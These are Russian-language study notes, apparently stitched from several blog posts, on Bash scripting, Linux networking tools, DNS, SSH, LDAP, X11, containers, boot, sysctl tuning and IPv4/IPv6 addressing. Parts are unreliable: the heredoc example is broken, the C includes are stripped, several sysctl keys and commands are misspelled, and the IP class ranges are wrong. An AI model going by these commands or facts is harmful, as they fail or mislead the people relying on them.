ls /nonexistent &> all_output.txt

Также можно использовать > file 2>&1, где 2>&1 указывает, что stderr перенаправляется туда же, куда и stdout:
ls /nonexistent > all_output.txt 2>&1


Перенаправление ввода (stdin)
Оператор < позволяет передать данные в команду из файла.
wc -l < input.txt

Конвейеры (Pipelines)
Конвейер | позволяет направить вывод одной команды на вход другой.
ls / | grep "home"



Специальные случаи перенаправления
Удаление вывода — отправка вывода в "черную дыру" (файл /dev/null), где он просто исчезнет:
ls /nonexistent > /dev/null 2>&1
Перенаправление файловых дескрипторов:
В Bash файловые дескрипторы можно перенаправлять с помощью конструкции n>file (где n — номер потока).
Например, 3>file откроет дескриптор 3 для записи в файл file.
Heredoc (встраивание многострочного текста)
cat < output.txt 2> errors.txt 

Чтение из файла и отправка результата в другой файл:
grep "pattern" < input.txt > output.txt

Игнорирование ошибок:
command 2> /dev/null

Запись вывода и ошибок в один файл:
command > output.txt 2>&1

Раздельная запись stdout и stderr:
command > output.txt 2> errors.txt

Отправка всех данных в «черную дыру»:
command > /dev/null 2>&1

Арифметические действия:

set -x
RADIUS=10
CIRCLE=`expr 2 * $RADIUS * 355 / 113`

set -x 
let CIRCLE=2*RADIUS*355/113; echo $CIRCLE


CIRCLE=$((2 * RADIUS * 355/113)) 

Экранирование:

ls -l

file Рабочий стол
file "Рабочий стол"
file 'Рабочий стол'

find . -name *.gz
set -x 
find . -name "*.gz"

" " - слабое игнорирование (не распространяется на метасимволы ` $ )
'' - сильное экранирование, экранирует любые символы

Список команд:

command1 ; command2 ; command3 ; command4  - простой синхронный
command1 & command2 & command3 & command4 - простой асинхронный 

command1 && command2 && command3 && command4 - условный список команд И (следующая команда выполняется если предыдущая выполнилась успешно)
command1 || command2 || command3 || command4 - условный список ИЛИ (следующая команда выполняется если не выполнилась предыдущая)

Составные списки / test / условия

whict test
which [
type -a test


этот тест возвращает 0 если нет ошибок
test -f /etc/passwd
echo $?

этот тест возвращает 0 если нет ошибок
[ -w /etc/passwd ]
echo $?

проверяем блочное устройство сдром. если диска нет , открываем лоток
[ -b /dev/cdrom ] && eject /dev/cdrom


Составной список if
if [!] list; then list; [elif [!] list; then;] ... [else list;] fi

if test -b /dev/csrom; then eject /dev/cdrom; fi


if [[ "$some_variable" == "good input" ]]; then
  echo "You got the right input."
elif [[ "$some_variable" == "ok input" ]]; then
  echo "Close enough"
else
  echo "No way Jose."
fi


! - нет/не
&& - и
|| - или
-lt - меньше, применяется в квадратных скобках []
-gt - больше, применяется в квадратных скобках []
 
[[ Двойные квадратные скобки ]] работают в целом так же, как и [одинарные квадратные скобки], 
но имеют дополнительные возможности вроде лучшей поддержки регулярных выражений.
 
(( Двойные круглые скобки )) это конструкция, позволяющая осуществлять арифметические вычисления внутри Bash. 
 
Пример:
if [[ "$name" == "Ryan" ]] && ! [[ "$time" -lt 2000 ]]; then
  echo "Sleeping"
elif [[ "$day" == "New Year's Eve" ]] || [[ "$coffee_intake" -gt 9000 ]]; then
  echo "Maybe awake"
else
  echo "Probably sleeping"
fi

Порой вам встретятся двойные квадратные скобки, как в примере выше. 
А порой они будут одинарными:
if [ "$age" -gt 30 ]; then
  echo "What an oldy."
fi
 
Иногда могут быть и круглыми:
!!! обрати внимание на age, это переменная и оформлена без ${age}
if (( age > 30 )); then
  echo "Hey, 30 is the new 20, right?"
fi
 
А может и не быть:
if is_upper "$1"; then
  echo "Stop shouting at me."
fi
 
Что происходит на самом деле:
if ANY_COMMAND_YOU_WANT_AT_ALL; then
  # ... stuff to do
fi

Пример 0, скрипта iftst_v1:
#! /bin/sh
# Пример iftst_v0
if test $# -ne 2; then
 echo "Команде должно быть передано ровно два параметра!"
 exit 1 
else
 echo "Параметр 1: $1. Параметр 2: $2" 
fi


Пример for в файле:
for variable in list
do
    commands
done
 
Пример for в командной строке:
for variable in list ; do commands ; done
 
Пример использования for в командной строке:
$ ls
filemgr.png  terminal.png
$ for f in *.png ; do mv $f screenshot-$f ; done
$ ls
screenshot-filemgr.png  screenshot-terminal.png

Пример:
for i in a b с; do echo $i; done 

Пример:
#! /bin/sh
for i in a b c; do 
 echo $i 
done


case

case word in [ [(] pattern1 [| pattern2]... ) list ;;]... esac

ключевые словами case, in, esac
признак окончания ветви ;;

#!/bin/bash
# Скрипт, который использует конструкцию case
# переменная, значение которой сравнивается с набором значений
num=2
case $num in
    1)
    echo "num = 1"
    ;;
    2)
    echo "num = 2"
    ;;
    3)
    echo "num = 3"
    ;;
esac
 
echo "Конец программы"
exit 0



#!/bin/bash
echo "Какой цвет вам нравится больше всего?"
echo "1 - синий"
echo "2 - Красный"
echo "3 - Желтый"
echo "4 - Зеленый"
echo "5 - оранжевый"
read color;
case $color in
    1) echo "Синий - основной цвет.";;
    2) echo "Красный - основной цвет.";;
    3) echo "Желтый - основной цвет.";;
    4) echo "Зеленый - вторичный цвет.";;
    5) echo "Оранжевый - вторичный цвет.";;
    *) echo "Этот цвет недоступен. Пожалуйста, выберите другой.";; 
esac


#!/bin/bash
# Скрипт, который использует конструкцию case
# переменная, значение которой сравнивается с набором значений
num=2
case $num in
    1|2|3)
    echo "num равно или 1 или 2 или 3"
    ;;
    4)
    echo "num равно 4"
    ;;
    *)
    echo "Неизвестное значение"
    ;;
esac
 
echo "Конец программы"
exit 0

for / while / until


for name in [ words ...]; do list; done
и циклы с условием "ПОКА"

while [!] list; do list; done
и "ДО"

until [!] list do list; done
с ключевыми словами for, in, while, until, do, done


for node in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$node; done

while ! ping -c1 -w1 8.8.8.8 ; do sleep 1; date; done
until ping -c1 -w1 8.8.8.8 ; do sleep 1; date; done

Инструментальные средства обработки текста

Базовые регулярные выражения
? - Любой символ
* - Любое количество любых символов (в том числе ни одного), но не *-файлы!
** - Любые файлы и каталоги, в том числе из всех подкаталогов (начиная с версии bash 4.0 — shopt -s globstar)
[abc] - Один из символов, указанных в скобках
[a-f] - Символ из указанного диапазона
[!abc] - Любые символы, кроме тех, что указаны в скобках
[^аЬс] - Аналогично предыдущему
~ - Сокращенное обозначение домашнего каталога
. - Текущий каталог
.. - Каталог на один уровень выше

echo ab{l,2,3} - Возврат abl аЬ2 аЬЗ
echo a{1..4} - Возврат al а2 аЗ а4
echo $[3*4] - Арифметические вычисления

`команда` - Замена команды результатом ее выполнения
$(команда) - Вариант, аналогичный предыдущему

echo $? - вернет с каким результатом завершилась предыдущая команда (0 - нет ошибок)

Команда "символ" - Отмена интерпретацию любых специальных символов, кроме $
Команда 'символ' - Похоже на предыдущий вариант, но с большими ограничениями (не допускает подстановки переменных)

? - любой одиночный символ в шаблоне
* -  любое количество любых символов в шаблоне

. - любой одиночный символ в регулярном выражении
.* - любое количество любых символов в регулярном выражении


grep '^[^#]' /etc/wgetrc
grep [^0-9][0-9][0-9][^0-9] /etc/services

Сетевая подсистема:

lspci 
lspci -ks 02:00.1

modinfo iwlwifi e1000


ifconfig -a
ip link show

ip addr show dev wlp2s0

lsmod
Просмотр статистики по соединениям IPv4:
netstat -4autpn
netstat -4atupn
ss -4atupn

ss -4atplnu

Назначение IP адреса:
ifconfig eno1 10.0.10.10 up
ifconfig eno1
ping -c 1 10.0.0.10


ipaddress add 172.16.16.172/16 dev eno1
ipaddress show dev eno1
ping -c1 172.16.16.172


Маршрутизация:
Добавление маршрута по умолчанию:
ip route add 0.0.0.0/0 via 10.0.0.1

Показать таблицу:
route -n
ip route show 

Диагностика:
traceroute -m 50 bad.horse

Автоматическая настройка сети:
pgrep NetworkManager
lsof -w +E -p ID_NetworkManager -a -U
strace -fe connect nmcli general

Проводная сеть:
nmcli dev
nmcki dev show enp0s25
nmcli con
nmcli conn add type ethernet ifname enp0s25
nmcli conn
nmcli conn up ethernet-enp0s25
nmcli dev show enp0s25

ip a show dev enp0s25
ip route show

Беспроводная сеть:
nmcli dev wifi rescan
nmcli dev wifi list
nmcli con add type wifi ifname wlp2s0 ssid SSID_NAME

nmcli dev show wlp2s0
ip a show dev wlp2s0


nmcli --ask dev wifi connect SSID_NAME
nmcli conn show

WPA cli:
pgrep wpa_supplicant
lsof +E -p ID_Wpa_supplicant -a -U
strace -fe connect wpa_cli -i wlp2s0 status

wpa_cli -i wlp2s0 status
wpa_cli -i wlp2s0 scan
wpa_cli -i wlp2s0 scan_results
wpa_cli -i wlp2s0 list_networks
wpa_cli -i wlp2s0 add_network
wpa_cli -i wlp2s0 select_network 1
wpa_cli -i wlp2s0 list_networks


VPN:
nmcli con edit type vpn

Служба имен и DNS/mDNS-резолверы


Отображение имен
Name service switch configuration
/etc/nsswitch.conf

Соответствующие модули libnss_*.so.

Номера портов
/etc/services
libnss_db.so.2

Примеры:
grep hosts /etc/nsswitch.conf
grep services /etc/nsswitch.conf
find /lib/ -name 'libnss_*'

Файловые таблицы имен:
/etc/hosts
/etc/services

Примеры:
cat /etc/hosts
grep http /etc/services
getent hosts ubuntu
getent services 53/udp

Резолверы:
sytemd-resolved
cat /etc/resolv.conf

Примеры:
ss -4autpn sport = :53
getent hosts ya.ru
host ya.ru
host 8.8.8.8

resolvectl dns

ss -4autpn spot = :5353
avahi-browse -arcl


avahi-resolve --name h1.local
geten hosts h2.local

Сетевые службы ssh



Для удаленного доступа были программы rlogin, rsh, telnet, и данные передавались в открытом виде, не было шифрования.
Служба ssh предназначена для организации безопасного (secure) доступа к сеансу командного интерпретатора (shell) удаленных сетевых узлов.

SSH 
Конфиденциальность (плюс целостность) передаваемых данных. 
Обеспечивается при помощи симметрического шифрования с помощью общего сеансового ключа.

Аутентичность (подлинность) взаимодействующих сторон.
Сеансовый ключ устанавливается обеими взаимодействующими сторонами при помощи 
асимметричного алгоритма открытого согласования ключей протокола Диффи-Хелмана.

MITM (man in the middle) - атака 

Пример:
ssh user@namehost.local
ssh user@192.168.0.124

uname -a
whoami
tty
logout

ssh user@192.168.0.124 uptime


Входы без пароля
ssh-keygen
ssh-copy-id user@192.168.0.124


Копирование:
scp file_name user@192.168.0.124:

sftp user@192.168.0.124

rsync -avzr user@192.168.0.124:/home/user/file.txt .

sshfs


LDAP

https://pro-ldap.ru

Системные вызовы open, read, write, close

LDAP (Lightweight Directory Access Protocol)
DIT (Directory Information Tree)

LDAP состоит в использовании принципа ООП (объектно-ориентированного проектирования), согласно которому
индивидуальные записи каталога (entries) являются объектами, т.е. экземплярами классов (class),
в свою очередь описывающих обязательными (must) и возможные (may) атрибуты (свойства) объектов.

Так, класс для описания персональных данных (objectClass: person) требует,
что бы его конечный экземпляр обязательно содержит атрибут sn (surname, фамилия) и cn (common name), 
и позволяет содержать атрибут telephoneNumber.

А класс для описания свойств учетных записей (ojectClass: posixAccaunt) требуют наличия атрибутов uid (user identifier),
что на деле является "именем" учетной записи, uidNumber, 
gidNumber (UID и GID учетные записи) и homeDirectory (домашний каталог пользователя)
и позволяет (если нужно) содержать атрибуты, такие как userPassword и loginShell.

Надо заметить, что принадлежность объекта к тому или иному классу тоже является атрибутом с именем ojectClass, 
принадлежащему классу с названием top.

Само дерево записей LDAP-каталога организуется универсальным образом.
В LDAP при построении дерева на любом уровне для различия (distinguish) сущностей (записей) 
может быть произвольно любой из атрибутов любых объектов, названных выше, например uid.

Относительно отличимые имена RDN (realtive distignuished name)
состоящих из имен атребута, uid=testla или uid=enstein

Аналогично FQDN в системе DNS записываются справа налево.
Для разделения имен в DNS используется точка "."
www.google.com

Почти также делается в LDAP но для разделения сущностей используется запятая
objectClass: dcObject 
dc (Domain commponent)
dc=www, dc=google, dc=com


ldapsearch -LL -H ldap://ldap.forums.com -x -b "" -s base
ldapsearch -LL -H ldap://ldap.forums.com -x -b "" -s base mamingContexts
-b "" - пустой фильтр
-s base - запрос адресуется только к этому имени (-s scope)

ldapsearch -LLL -H ldap://ldap.forumsys.com -x -b dc=example,dc=com -s sub dn
ldapsearch -LLL -H ldap://ldap.forumsys.com -x -b dc=example,dc=com objectClass=posixAccaunt dn

ldapserach -LL -H ldap://ldap.forumsys.com -x -b uid=tesla,dc=example,dc=com -s base

Сетевые утилиты

tcpdump -i wlp2s0 port 53

hots ya.ru

tshark -i wlp2s0 -V -O http,data-text-lines -Y http port 80

curl https://ya.ru


nmap -n -vvv -reason 192.168.0.1

pgrep lftp

lsof -i 4 -a -p 6056

ss -p dport = :ftp

strace -f trace=network curl http://www.gnu.org/graphics/agnuheadterm-xterm.txt

cd /usr/share/doc
strace -fe trace=network python2 -m SimpleHTTPServer
wget http://localhost:8000

X windows system

X-server и  X-client - рисует окна

Как любая другая сетевых служба, оконная система X состоит из X-сервера и X-клиентов,
взаимодействующих между собой посредством "X протокола"

X-сервер
Основная задача которого заключается в управлении оборудованием графического вывода и ввода.
Под управлением X-сервером находится графические дисплеи (видеоадаптеры и подключенные к ним мониторы), устройства ввода и вывода.
Именно X-сервер принимает подключения от X-клиентов.

Смотрим:
pgrep -l Xorg
ps o pid,tty,cmd p PID_ID_process

lsof -p PID_ID_process -a /dev
lsof -p PID_ID_process -a -U
lsof -p PID_ID_process -a -i

xdpyinfo | grep -A 4 screen

X-клиенты и X-протоколы

X-клиенты всегда создают хотя бы одно окно

xdpyinfo
xrandr - поворот экрана
glxifo
xlsclients
xwininfo - список созданных окон
xprop
Xnest
Xephyr

Примеры:
xwininfo -tree -root | grep gnome-terminal
xwininfo id 0x2aaasdasda | grep Map
xwininfo id 0x2aaasdasda | egrep 'Map|Width|Height'

xprop -id 0x2a00001 | grep ^WM_
     WM_NAME - текст заголовка отображаемых окон
     WM_CLIETN_MACHINE - имя узла сетевого узла X-клиента
     WM_COMMAND - отображает команду, при помощи которой был запущен клиент

xlsclients -l | grep -C 3 gnome-terminal



Взаимодействие X-клиентов и X-сервера происходит при помощи локальных или сетевых сокетов 
в зависимости от их взаимного местоположения и согласно адресу подключения, 
указываемому на стороне X-клиентов при помощи переменой окружения DISPLAY в host:number

В случае сетевого:
DISPLAY=ubuntu.local:0
DISPLAY=192.168.0.100

В случае локального:
DISPLAY=:0


Примеры:
Xnest :0
Xnest :listen tcp &
lsof -p 10950 -a -i 
lsof -p 10950 -a -U 
xeyes
DISPLAY=:1 strace -fe connect xeyes
DISPLAY=ubuntu.local:1 strace -fe connect xeyes

Оконные менеджеры:

Оконные менеджеры - позволяют манипулировать окнами.
Примеры оконных менеджеров: 
twm - один из самых первых
olvm
mwm
IceWM

Настольные пользовательские окружения:

Манипулируют и рисуют и есть свои программы.
GNOME - gnome-session(менеджер сеансов) и gnome-shell(оконный менеджер в свою очередь запускает его dbus-launch)
KDE - startkde(сценарий), ksmserver(менеджер сеансов), kwin(оконный менеджер)
XFCE
LXDE

В современных версиях практически безальтернативно используется D-Bus для взаимодействия с окнами и между окнами.

Библиотеки интерфейсных элементов:

сам X-server умеет рисовать примитивы, точки круги и т.д.
для более сложных используются специальные библиотеки
widget
Xaw
Xview
Motif
Tk
Qt
Xrender
Xlib

Современные это Qt и Gtk, на основе их разрабатывают KDE и GNOME

Пример как посмотреть доступные библиотеки:
ldd $(which xeyes) | grep -i libX
ldd $(which mwm) | grep -i libXm
ldd $(which wish) | grep -i libtk
ldd $(which gnome-shell) | grep -i libgtk
ldd $(which kcacl) | grep -i libqt.gui

Wayland

замена X серверу


Контейнеры и виртуальные машины:


Чрутизация:
Самым древним средством изоляции, известным со времен классической ОС UNIX,
является системный вызов chroot, позволяющий назначить процессам корень дерева каталогов,
от которого вычисляются все абсолютные путевые имена.
Каждый процесс имеет атрибут cwd (current working directory)  и атрибут  rtd(root directory).

pgrep -l avahi-daemon
sudo lsof -p ID_avahi-daemon | grep rtd

Пример Чрутизации:
не правильно но показательно:
mkdir c-137
chroot c-137 sh
sudo chroot c-137 sh 
sudo strace -fe chroot,chdir,execve chroot c-137 sh

более менее правильно:
mkdir c-137/bin
cp /bin/sh c-137/bin
sudo chroot c-137 sh 
ldd /bin/sh


Пространства имен:
namespaces

ps up $$
ls -la /proc/$$/ns
ps o pid,netns,mntns,pidns,comm p $$
stat -L /proc/$$/ns/net


Пример создания контейнера в пространстве имен с использованием unshare:
ps o pid,netns,mntns,pidns,comm p $$
sudo unshare -mnp -f -R c-137 --mount-proc busybox sh


Контейнеризация: runnc и docker
Docker(software)
LXC
OpenVZ
OCI (Open Container Ininitiative) 
Помогает взаимодействовать с контейнерами программа runc
Пример runc:
runc spec
ls config.json
sed -n '/root.*{/,/}/p' config.json
sudo debbootstrap --variant=minbase --include iproute2 jammy rootfs

Docker:
сайт docker.io - образы
docker image ls
ls -l /var/run/docker.sok
docker image pull ubuntu:23.04
docker run -ti --hostname c-123 ubuntu:23.04
docker attach c-123

Группы управления cgroups
Управление ресурсами контейнеров

Загрузка linux

Процесс загрузки абсолютно любой операционной системы начинается с той компоненты, 
которая собственно операционной системой и является - с ядра.
Все остальное это дополнительные компоненты, и нужны по месту, десктоп, сервер, роутер и т.д.

Главной задачей загрузки является размещение ядра ос в оперативной памяти и передача ей управления.
Эти задачи выполняет загрузчик ОС, который принципе не является ее частью.
Чаще всего выступает частью аппаратной платформы на которой выполняется ОС.
Загрузчик сильно зависит от аппаратной платформы, также должен соответствовать спецификациям платформы,
таким как способы разделения носителей на разделы, собственное размещение на этих носителях,
порядок передачи ему управления при старте платформы и т.д.

Платформа персонального компьютера она же "IBM PC Compatible"
BIOS - набор базовых услуг 
Согласно BIOS носитель должны содержать таблицу разделов определенного вида в своем первом блоке "boot sector",
так называемой загрузочной записи MBR, анализировала  таблицу разделов, выбирала активный раздел, 
считывала его PBR(он же VBR (volume boot record) и передавала ему управление.
Установленная на  этот активный раздел ОС обычно размещала свой загрузчик и выполнялась дальнейшая загрузка. 


С развитием платформы BIOS развился в  EFI, позднее в UEFI.
А MRR развился "GUID Partition  table"
Процедура загрузки теперь предполагает наличие наличие специального системного раздела ESP (EFI System Partition),
которая содержит файловую систему FAT (File Allocation Table),
на которой в виде текущей (current) передается управление по умолчанию.


При любом виде загрузке BIOS/UEFI, загрузчик получив управление умеет правильно считать в оперативную память ядро ОС и передать ему управление.

Самым популярным загрузчиком linux является GRUB.

efibootmgr -v 

В современных linux каталог ESP смонтирован в /boot/efi
А файлы grub чаще всего в корневой файловой системе в каталоге /etc и файлах grub.cfg

Само ядро располагается в каталоге /boot
EFI - каталог 
grub - каталог grub
initrd.img - архив модулей (микро версия операционной системы, busybox)
vmlinuz-linux - основной файл, ядро linux

Загрузчик загружает обе части, а затем передает управление.

lsinitramfs /boot/initrd.img-generic | grep.ko$ | wc -l
lsinitramfs /boot/initrd.img-generic | grep bin/

lsinitramfs - показ содержимого
mkinitramfs - запаковка
unmkinitramfs - распаковка

Драйверы

вендор устройства(vendor)
идентификатор модели устройства(device)

find /lib/modules/`uname -r`/kernel/drivers -name '*.ko' | wc -l
lspci -d ::0401 -k
lspci -d ::0401 -n

modinfo snd_intel8x0 | grep alias

lspci
lscsi
lsusb


udevadm monitor -k
mount -t sysfs
cat /sys/devices/pci0000:00/0000:00:1d.0/usb4/4-1/4-1:1.0/uevent

Ссылки:

https://zip.bhv.ru/9785977518437.zip
Рубрики
kali \ virus \ rootkit \ вирусы \ защита Конспект

Минимальная настройка ядра linux для обработки значительного трафика / производительность

Пример:

sysctl -w fs.file-max=100000
sysctl -w net.core.somaxconn=65535
sysctl -w net.core.netdev_max_blacklog=65536
sysctl -w net.ipv4.tcp_fin_timeout=15
sysctl -w net.ipv4.tcp_tw_reuse=1
sysctl -w net.ipv4.tcp_tw_recycle=1
sysctl -w net.ipv4.tcp_max_tw_buckets=65536
sysctl -w net.ipv4.tcp_window_scalling=1

Для любознательных что есть что:

net.core.somaxconn=65535 
Задает максимальное кол-во соединений, которые могут ожидать обработки в очереди. 
Важно для приложений.


net.core.netdev_max_blacklog=65536
Определяет максимальный размер очереди сетевых устройств обрабатывающих трафик

net.ipv4.tcp_fin_timeout=15
Время до ожидания завершения соединения (флаг fin)

net.ipv4.tcp_tw_reuse=1
Разрешаем использования сокетов TIME-WAIT для новых соединений.
По факту разрешает использования портов в статусе TIME-WAIT для новых соединений.

net.ipv4.tcp_tw_recycle=1
Активирует режим повторного использования портов в статусе TIME-WAIT.

net.ipv4.tcp_max_tw_buckets=65536
Увеличиваем кол-во сокетов time-wait

net.ipv4.tcp_window_scalling=1
Управляет масштабированием окна TCP. Увеличиваем размер TCP-окна если это возможно

ссылка с одной шляпой….

https://zip.bhv.ru/9785977519953.zip
Рубрики
Конспект

Сети linux. Модели и приложения / Конспект

Уровни OSI

1. Физический 
2. Канальный 
3. Сетевой
4. Транспортный
5. Сеансовый
6. Представительный
7. Прикладной

Уровни OSI TCP/IP


1. Канальный (модуль ядра, драйвер устройства и сетевой интерфейс) L2
2. Сетевой(IP, ICMP, IGMP) L3
3. Транспортный (UDP, TCP, SCTP, DCCP) L4
4. Прикладной (http, https, telnet, ftp, e-mail, smtp, pop3, imap4 и т.д.)

MAC / ARP:

L2
В масштабе сегмента локальной сети аппаратные адаптеры обмениваются пакетами только по MAC-адресам.
Отдельного ARP протокола для ipv6 не существует.(NDP)
Протоколы канального уровня(L2) - немаршрутизируемые
Для выхода за пределы L2 должны быть как то инкапсулированы в пакет маршрутизируемого протокола.
Чаще всего этим занимается протокол IP 
Для этого применяется ARP, RARP для IPV4 и NDP для ipv6. RFC-826
Преобразованием MAC в IP занимается ядро ОС.

macchanger - программа для работы с MAC адресами
macchanger eth0 -s - показать MAC адрес eth0 


inxi - программа покажет ваше железо
inxi -Nxxx - покажет вашу сетевую карту
inxi -C - ваш процессор
inxi -D - ваши диски

Посмотреть таблицу MAC:
arp -en
arp -vn

ip -4 neigh show
ip -6 neigh show

IP адреса:

L3
Каждый сетевой интерфейс имеет свой IP-адрес.
Конечные точки коммуникации знают о друг друге только по их IP адресу

Маски и подсети:

Разделение на классы
A - 0.0.0.0 - 127.255.255.255 - сверх большие подсети 
B - 128.0.0.0 - 192.255.255.255 - большие подсети
C - 192.0.0.0 - 223.255.255.255 - малые подсети
D - 224.0.0.0 - 239.255.255.255 - групповые операции
E - 240.0.0.0 - 247.255.255.255 - резерв

!!! 25 ноября 2019 года В RFC1219 классы с введение общих масок утратили свой смысл кроме групповых операций (класс D)


Широковещательный и групповой обмен:

Всего существует три типа IP-адресов
персональный / unicast
широковещательный / broadcast
групповой / multicast

Широковещательные и групповые запросы применимы только к UDP и SCTP - подобные типы запросов 
позволяют приложению разослать одно сообщение нескольким получателям одновременно.

TCP - протокол, ориентированный на соединение, с его помощью устанавливается соединение между двумя сетевыми интерфейсами
(по указанному их IP-адресу с использованием одного адресата на каждом хосте(который идентифицируется по номеру порта))

Широковещательный адрес подсети(subnet-directed broadcast address) имеет идентификатор хоста, определяемый маской и установленный во все единицы
(самый старший адрес диапазона адресов подсети, а самый младший адрес этого диапазона есть адрес самой подсети):
192.168.1.5 - host
255.255.255.0 - netmask
192.168.1.255 - broadcast

Групповой адрес (multicast group address) состоит из четырех старших битов IP,
установленных в 11110,  идентификатора группы (28 младших битов, определяющих конкретную группу).
224.0.0.0 до 239.255.255.255

Для работы с мультикас существует специальный протокол IGMP RFC1112
Internet Management Protocol

Частные адреса:

Никогда не маршрутизируются шлюзами IP.
Предназначены для организации локальных сетей.

10.0.0.0 - 10.255.255.255 (10/8)
172.16.0.0 - 172.31.255.255 (172.16/12)
192.168.0.0 - 192.168.255.255 (192.168./16)

Решение проблемы с передачей трафика из частных сетей:
1. На сетевом уровне
NAT, Network Address Translation
(еще эту технологи называют Masquerading, Network Masquerading, Native Adress Translation)
Для того что бы такие сети могли общается с внешним миром использую такие технологии как NAT 
При этом хост IP-шлюза подменяет в маршрутизируемых пакетах IP-адрес отправителя, подставляя IP-адрес собственного интерфейса, 
после получения пакета производится обратная операция.
Проекты реализующую NAT (от старых к новым)
ipfw, ipfilter, iptables
Сейчас чаще всего встретите iptables (nftable)

2. На уровне протоколов прикладного уровня - прокси (proxy и посредники)
При этом программа прокси-сервера ретранслирует запрос хоста с частным IP-адресом от своего имени в интерфейс с глобальным IP-адресом
squid / tinyproxy

IPv6

6июня 2012 года крупнейшие провайдеры единовременно перешли к использованию - параллельно с IPv4 - IPv6
IPv6 имеет длину 128Бит (вместо 32 у IPv4)
Важнейшей отличие от IPv4:
Здесь нету отличия между глобальными хостами подключенным к интернету и локальными хостами находящимися в лан.
Здесь любой хост равнозначно доступен из вне, если он не закрыт фаерволом.
Нет масок.(есть префикс, но это другое)

IPv6 три типа адресов:
unicast - идентификатор одиночного интерфейса. 
Пакет, посланный по униксту доставляется интерфейсу по указанному адресу.
anycast - идентификатор набора интерфейсов
Пакет, посланный по эникастному адресу, доставляется одному из интерфейсов, указанному в адресе (зависит от настройки маршрутизации)
multicast - идентификатор набора интерфейса(обычно принадлежит разным узлам)
Пакет доставляется всем инерфесам, заданным этим адресом.


Префикс адреса
В отличии от предыдущей версии протокола, в IPv6 не применяются маски подсети, т.к они получились бы очень длинными, - вместо этого используется префикс,
который записывается так же через слеш после адреса.
Например префикс /64 означает что из 128 битов первые 64 - это сеть, а оставшаяся часть ( 64) -это хосты

Сам адрес записываю в шестнадцатеричном виде. 
[8 хексетов] X [по 16 бит] = [128 битов]


Зарезервированные диапазоны:
fe80::/10 называются link-local
Любой адрес из этого диапазона предназначен для авто конфигурирования ОС
Пакеты отправленные с такого адреса, не пропустит ни один маршрутизатор ограничивая их распространение в пределах сегмента локальной сети 
Протокол ipv6 спроектирован так что link-local адрес быть обязан.

2000://3 уникальные юникаст-адресов в Интернете. 
Выдает и регулирует IANA.

ff00::/8 - это адрес мультикаста. 
Например можно получить отклик всех интерфейсов
ping6 -c2 ff02::1%eno1


Работа с адресами IPv6
Пример адреса:
2001:0DB8:AA10:0001:0000:0000:0000:00FB
Можно убрать начальные 0
2001:DB8:AA10:1:0000:0000:0000:FB
Можно сократить еще нули
2001:DB8:AA10:1::FB

Для петли:
0000:0000:0000:0000:0000:0000:0000:0001
::1

Локальные адреса
Глобальный адрес IPv6  (global address) Действует в интернете. Выдает IANA.
Локальные адреса IPv6 (unique local address) Используются внутри организации.
Локальные адреса канала связи(link-local address) не маршрутизируются (fe80::/10) Действуют в рамках одного сегмента.


Пинг
Для использования команды ping6 требуется указывать суфикс интерфейса (%номер_ipa_a или %имя_фейса)
ping -6 -c3 fe80::f1:f1%eno1
в качестве cуфикса можно указывать номер интерфейса выдаваемый командой ping 
ping -6 -c3 fe80::f1:f1%2


curl [221:58c9:9a6:99be:f3d:clac:2b5b:9771]
wget https://curl [221:58c9:9a6:99be:f3d:clac:2b5b:9771]:80/index.php

Адресные переменные в программном коде / функция inet_pton{}

Функция inet_pton()  преобразовывает символьные изображения IP адреса в структуру адреса

int inet_pton(int af, const char *src, void *dst);

af - семейство адресов, которые может быть записано только одной из символьных констант:
     AF_INET или AF_INET6 означает IP-адрес IPv4 или IPv6 ()
src - символьная строка, в которой записан исходный IP-адрес
     Для IPv4 записывается в привычной точечной нотации: d.d.d.d, где d  десятичное число от 0-255
     Для IPv6 несколько форматов, h:h:h:h:h:h:h:h или h:h:h:h:h:h:d.d.d.d, где h - это 4 знаков шестнадцатеричные числа (0-ffff)
     кроме того, нулевые адресные группы IPv6, как обычно могут пропускаться, например ::FFFF:204.152.189.116;
dst - результат преобразования, структура адреса, вид который зависит от семейства адресов:
для AF_INET это (определяется в ):
     struct in_addr{
          __br32 s_addr;
     };
для AF_INET6 это (определяется в :
     struct in6_addr P
             union {
                     __u8   u6_addr8[16]
            ...
            } in6_u;

В ядре LInux определено весьма много поддерживаемых семейств адресов, что сильно усложняет поиск информации:
cat socket.h | grep 'AF_' | wc -l
             
Возвращаемые значения функции inet_pton:
1 =  успешное преобразование.
0 = Строка src не содержит строчное представление в специфицированном семействе адресов.
-1 = в качестве параметра af указано недопустимое семейство адресов, при этом глобальная переменная errno устанавливается в EAFNOSUPPORT

Адресные переменные в программном коде / функция inet_ntop()

Функция inet_ntop делает в точности на оборот что делала функция inet_pton
Преобразовывает структуру сетевого адреса в символьное изображение IP-адреса.
const char *inet_ntop(int af, const void *src, char *dst, socklen_t size);
af -  семейство адресов AF_INET или AF_INET6
dst - строка, результат преобразования, это же значение возвращается inet_ntop() при успешном выполнение
size - длина запрашиваемой строки результата, специфицируемая при вызове, это может быть символьная константа типа INET6_ADDRSTRLEN


В заголовочном файле  представлено еще весьма много полезных функций

Код программы adr для преобразования ip адреса

cat > adr.c << "EOF"
#include 
#include 
#include 
#include 

int main(int argc, char *argv[]) {
   unsigned char buf[sizeof(struct in6_addr)];
   int domain, s;
   char str[INET6_ADDRSTRLEN];
   if (argc != 3) {
      fprintf(stderr, "Usage: %s {i4|i6|} stringn", argv[0]);
      exit(EXIT_FAILURE);
   }
   domain = (strcmp(argv[1], "i4") == 0) ? AF_INET :
            (strcmp(argv[1], "i6") == 0) ? AF_INET6 :
            atoi(argv[1]);
   s = inet_pton(domain, argv[2], buf);
   if (s <= 0) {
      if (s == 0)
         fprintf(stderr, "Not in presentation format");
      else
         perror("inet_pton");
         exit(EXIT_FAILURE);
   }
   if (inet_ntop(domain, buf, str, INET6_ADDRSTRLEN) == NULL) {
      perror("inet_ntop");
      exit(EXIT_FAILURE);
   }
   printf("%sn", str);
   exit(EXIT_SUCCESS);
}
EOF

Для компиляции используй:
gcc -o adr adr.c 
Примеры:
./adr i6 0:0:0:0:0:0:0:0
./adr i6 1:0:0:0:0:0:0:9
./adr 2001:DB8:AA10:1:0000:0000:0000:FB
./adr i6 0:0:0:0:0:FFFF:204.152.189.116
./adr i4 204.152.189.116

DNS / NS / разрешение имен

Человеку сложно запомнить цифры, запомнить слова проще, собственно это и привело к появлению DNS.
Domain Name System

До зарождения DNS был файл /etc/hosts
Заполнялся вручную.

Программы:
nslookup qnx.org.ru 1.1.1.1
nslookup qnx.org.ru 8.8.8.8

host rus-linux.net

